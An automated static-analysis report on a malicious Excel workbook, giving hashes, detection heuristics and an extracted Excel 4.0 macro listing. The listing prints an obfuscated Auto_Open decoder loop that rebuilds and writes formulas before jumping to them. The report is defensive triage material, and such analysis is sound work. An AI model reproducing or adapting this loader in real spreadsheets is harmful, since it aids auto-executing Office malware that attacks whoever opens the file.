Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 30e33ab834a23b71…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-25 10:42:50 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 60f6b327494ca4b7788213428f693dac SHA-1: aed13ac0e8f76f7574719d509f21a126bdbde8b5 SHA-256: 30e33ab834a23b71e1534e3b78751c6e5442e6a14bd4d5c216a2aa4cdfbe2e6e
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6743 bytes
SHA-256: f10a95db10b64ede99f206fc76a80e0d3f09514a01540d2ef8aef8a4f2d225e4
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  YSsBNxfsFB
' 0018     24 LABEL : Cell Value, String Constant - aBoBAPXNM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A182 
' 0018     25 LABEL : Cell Value, String Constant - BjDzYqZeMj len=0 
' 0018     27 LABEL : Cell Value, String Constant - cglzldWXEsci len=0 
' 0018     22 LABEL : Cell Value, String Constant - cVVJpep len=0 
' 0018     27 LABEL : Cell Value, String Constant - DitCTXVcTLvW len=0 
' 0018     22 LABEL : Cell Value, String Constant - dWZUAok len=0 
' 0018     21 LABEL : Cell Value, String Constant - EBSyLr len=0 
' 0018     27 LABEL : Cell Value, String Constant - gDdZAywtLZSP len=0 
' 0018     25 LABEL : Cell Value, String Constant - hcPjsnuUKj len=0 
' 0018     25 LABEL : Cell Value, String Constant - IkvvUKUryJ len=0 
' 0018     26 LABEL : Cell Value, String Constant - JEZIFtrtGDj len=0 
' 0018     27 LABEL : Cell Value, String Constant - JTdKMCSCTwFy len=0 
' 0018     22 LABEL : Cell Value, String Constant - lFpUybP len=0 
' 0018     25 LABEL : Cell Value, String Constant - OCLSwyOXdQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - PRvDGJfxurn len=0 
' 0018     23 LABEL : Cell Value, String Constant - QjMexisU len=0 
' 0018     26 LABEL : Cell Value, String Constant - RLCgVwYsQFn len=0 
' 0018     20 LABEL : Cell Value, String Constant - uJSOx len=0 
' 0018     25 LABEL : Cell Value, String Constant - wCBpqsdXda len=0 
' 0018     27 LABEL : Cell Value, String Constant - woOSAEgkUlFi len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  YSsBNxfsFB,A97,"SET.NAME("JEZIFtrtGDj",VALUE("0"))",""
'  YSsBNxfsFB,A101,"SET.NAME("hcPjsnuUKj",JEZIFtrtGDj)",""
'  YSsBNxfsFB,A105,"SET.NAME("DitCTXVcTLvW",JEZIFtrtGDj)",""
'  YSsBNxfsFB,A109,"SET.NAME("QjMexisU",COUNTA(BjDzYqZeMj))",""
'  YSsBNxfsFB,A112,"SET.NAME("dWZUAok",COUNTA(lFpUybP))",""
'  YSsBNxfsFB,A114,[],""
'  YSsBNxfsFB,A117,"SET.NAME("OCLSwyOXdQ","")",""
'  YSsBNxfsFB,A119,"hcPjsnuUKj",""
'  YSsBNxfsFB,A123,"SET.NAME("IkvvUKUryJ",HLOOKUP("*",BjDzYqZeMj,hcPjsnuUKj,FALSE))",""
'  YSsBNxfsFB,A126,"woOSAEgkUlFi",""
'  YSsBNxfsFB,A131,"SET.NAME("RLCgVwYsQFn",JEZIFtrtGDj)",""
'  YSsBNxfsFB,A135,[],""
'  YSsBNxfsFB,A139,"RLCgVwYsQFn",""
'  YSsBNxfsFB,A144,"EBSyLr",""
'  YSsBNxfsFB,A146,"wCBpqsdXda",""
'  YSsBNxfsFB,A148,"PRvDGJfxurn",""
'  YSsBNxfsFB,A150,"SET.NAME("cglzldWXEsci",VALUE(HLOOKUP("*",lFpUybP,PRvDGJfxurn,FALSE)))",""
'  YSsBNxfsFB,A153,"gDdZAywtLZSP",""
'  YSsBNxfsFB,A156,"OCLSwyOXdQ",""
'  YSsBNxfsFB,A160,"DitCTXVcTLvW",""
'  YSsBNxfsFB,A162,NEXT(),""
'  YSsBNxfsFB,A165,"uJSOx",""
'  YSsBNxfsFB,A168,"SET.NAME("f",INT(T(FORMULA(T(OCLSwyOXdQ)&"",""&T(uJSOx)))))",""
'  YSsBNxfsFB,A172,"aBoBAPXNM",""
'  YSsBNxfsFB,A176,NEXT(),""
'  YSsBNxfsFB,A178,RETURN(),""
'  YSsBNxfsFB,A214,"SET.NAME("JTdKMCSCTwFy",A97)",""
'  YSsBNxfsFB,A216,"BjDzYqZeMj",""
'  YSsBNxfsFB,A218,"SET.NAME("lFpUybP",R62C14)",""
'  YSsBNxfsFB,A220,"SET.NAME("aBoBAPXNM",226)",""
'  YSsBNxfsFB,A223,"SET.NAME("cVVJpep",1)",""
'  YSsBNxfsFB,A225,JTdKMCSCTwFy(),""
'  YSsBNxfsFB,A226,HALT(),""